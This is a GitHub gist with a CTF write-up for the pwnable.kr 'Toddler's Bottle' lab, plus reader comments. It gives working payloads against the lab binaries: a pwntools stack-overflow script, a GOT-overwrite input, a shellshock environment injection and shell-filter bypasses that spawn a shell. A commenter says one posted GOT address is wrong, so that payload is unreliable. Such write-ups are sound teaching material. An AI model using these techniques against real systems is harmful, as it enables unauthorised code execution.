Skip to content

Instantly share code, notes, and snippets.

@ihciah
Created January 19, 2016 05:49
Show Gist options
  • Save ihciah/0ca68da3e32e38818bb9 to your computer and use it in GitHub Desktop.
Save ihciah/0ca68da3e32e38818bb9 to your computer and use it in GitHub Desktop.
Pwnable.kr Toddler's Bottle writeup

Pwnable.kr Toddler's Bottle writeup

[email protected]

It has been a long time since I finish(nearly) these problems...

1. fd

In linux, 0 is std_input, 1 is std_output, 2 is std_error_output.

We just need to send LETMEWIN to std_input and set fd to 0 which means (our input - 0x1234) == 0.

So, echo "LETMEWIN" | ./fd 4660 will solve the problem.

2. collision

In this problem we have to enter 5 numbers whose sum is 0x21DD09EC. Since the use of strlen, we should not enter \x00

hex(0x21dd09ec-0x01010101*4) equals 0x1dd905e8, which does not contain \x00

./col `python -c 'print "\xe8\x05\xd9\x1d"+"\x01"*16')`

3. bof

int __cdecl func(int a1)
{
  char s; // [sp+1Ch] [bp-2Ch]@1
  int v3; // [sp+3Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  puts("overflow me : ");
  gets(&s);
  if ( a1 == 0xCAFEBABE )
    system("/bin/sh");
  else
    puts("Nah..");
  return *MK_FP(__GS__, 20) ^ v3;
}

The stack:

s:`ebp-2c`
v3:`ebp-c`
`old ebp`
`ret_addr`
`a1`

So we need to overwrite 0x2c + 4*2 trash and the value of a1.

from pwn import *
sh=remote('pwnable.kr',9000)
sh.sendline("A"*52+"\xbe\xba\xfe\xca")
sh.interactive()

4. flag

Seems that the file has been packed with upx

upx -d flag -o a.out and load a.out with IDA, open string window, then it should has found the flag:

.rodata:0000000000496628 0000002A C UPX...? sounds like a delivery service :)

5. passcode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Toddler's Secure Login System 1.0 beta.");
  welcome();
  login();
  puts("Now I can safely trust you that you have credential :)");
  return 0;
}

welcome:

int welcome()
{
  char v1; // [sp+18h] [bp-70h]@1
  int v2; // [sp+7Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  printf("enter you name : ");
  __isoc99_scanf("%100s", &v1);
  printf("Welcome %s!\n", &v1);
  return *MK_FP(__GS__, 20) ^ v2;
}

login:

int login()
{
  int v1; // [sp+18h] [bp-10h]@0
  int v2; // [sp+1Ch] [bp-Ch]@0

  printf("enter passcode1 : ");
  __isoc99_scanf("%d");
  fflush(stdin);
  printf("enter passcode2 : ");
  __isoc99_scanf("%d");
  puts("checking...");
  if ( v1 != 338150 || v2 != 13371337 )
  {
    puts("Login Failed!");
    exit(0);
  }
  puts("Login OK!");
  return system("/bin/cat flag");
}

In welcome, v1 is at bp-70h, we can control 100 chars. In login, v1 is at bp-10h. Although these two v1 is not the same, there's no push or pop between welcome and login. 0x70-0x10=96, which means we can control 4 chars, that is to say, we can control the initial value of passcode1(name in source code).

In login, it does scanf("%d", passcode1);, so we can write 4 bytes at any place we want.

We can overwrite fflush's GOT and let it jump to system("/bin/cat flag")

python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode

6. random

This code does not use unpredictable seed to generate random number, so the numbers it generated are always the same.

The first value is 1804289383, after xor with 0xdeadbeef we can get the answer: 3039230856.

7. input

Too lazy to write this solution...

8. leg

In key1, mov r3, pc; mov r0, r3; will set r0 to 0x00008cdc + 8 (In arm mode pc will save current place + 8)

In key2, add r6, pc, #1; bx r6; will switch to thumb mode. mov r3, pc; adds r3, #4; mov r0, r3; will set r0 to 0x00008d04 + 4 + 4 (In thumb mode pc will save the current place + 4)

In key3 it will return lr, which is the return address.

0x00008d7c <+64>:	bl	0x8d20 <key3>
0x00008d80 <+68>:	mov	r3, r0

So the key3 is 0x00008d80.

key1 + key2 + key3 equals 108400

9. mistake

fd = open("/tmp/xx.txt",O_RDONLY,0400) < 0 is equivalent to fd = (open("/tmp/xx.txt",O_RDONLY,0400) < 0).

open("/tmp/xx.txt",O_RDONLY,0400) will be 0, so fd will be 0 < 0 which is 0.

So just input two input one of which is xor of the other input.

10. shellshock

It's shellshock bug.

Pass x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' as an environment variable and execve shellshock will get flag.

11. coin1

Too lazy to write this solution...

12. blackjack

It a integer overflow. If you enter 1000 at first, you will be told You cannot bet more money than you have.

But if you enter 10000000000 then you can continue.

Try to win once and you become millionaire.

13. lotto

int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

This code means if what you entered is in lotto, for example lotto is !"#$%&, and you enter ######, it's ok.

So just try ###### until you get flag.

Your trying time will follow G(1-(1-6/45)^6) that is G(0.576). (bigger than predicting a coin :)

14. cmd1

What you enter should not include flag, sh, tmp, and the PATH is of no use.

And if you pass the validate, what you entered will be executed.

It's simple to bypass the validate and print the flag: the word can be joined or use *, and we can use full path which means there's no need to use PATH in environment variable.

For example, ./cmd1 "/bin/cat fl*" will print the flag.

mommy now I get what PATH environment is for :)

This flag will be the key of cmd2

15. cmd2

This problem has more word forbidden. We should not use PATH, export, `, flag, =, /. Also, it clear all environment variables.

It seems a little bit difficult...But since we can use some function in shell, can we construct the forbidden characters ? We know that if we have /, thing will be as easy as echo1, so let's construct /.

We can use pwd to print where are we, this string contains /, in shell we can cut string.

This is the answer when I solved this problem, it seems that the problem has been modified after that time...

./cmd2 'A=$(pwd);B=${A%home*};C=$B"bin"$B"cat "$B"home"$B"cmd2"$B"fl""ag";$C'

You have to try not to use = is you want to use this method.

16. uaf

https://gist.github.com/ihciah/3c157f18f49bd2287470

@William93
Copy link

I don't understand where does the '134514147' come from..

@sferrini
Copy link

Hey @aencode and @William93 I'll try to answer to both your questions:

First of all EIP is a register, so it doesn't have an address at all.
The only way to access it, is via it's name.

Now, as @ihciah said, in the passcode challenge we can write 4 bytes at any place we want.

The goal here is to jump where it is placed the system call to cat in our binary. (0x80485E3 which in decimal is 134514147).
To do so, we override the GOT of fflush with our address.

readelf -r passcode | grep fflush gives to us:
0x0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0

PS: @ihciah if you want to exploit it with fflush'\x00\xa0\x04\x08' is wrong, the correct one is '\x04\xa0\x04\x08'

Let me know if there is something that still not clear to you.

@OMantere
Copy link

OMantere commented Aug 11, 2016

Nice writeup, thanks for putting this up.

Thought might share my take on cmd2, a bit more elegant way using echo and octal bytes:
./cmd2 "\$(echo -n '\057\142\151\156\057\163\150')"

Note that this only gets the shell, after which it is trivial to /bin/cat flag.

@hexorer
Copy link

hexorer commented Jan 19, 2018

for cmd2, you can use ./cmd2 "read x;$x"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment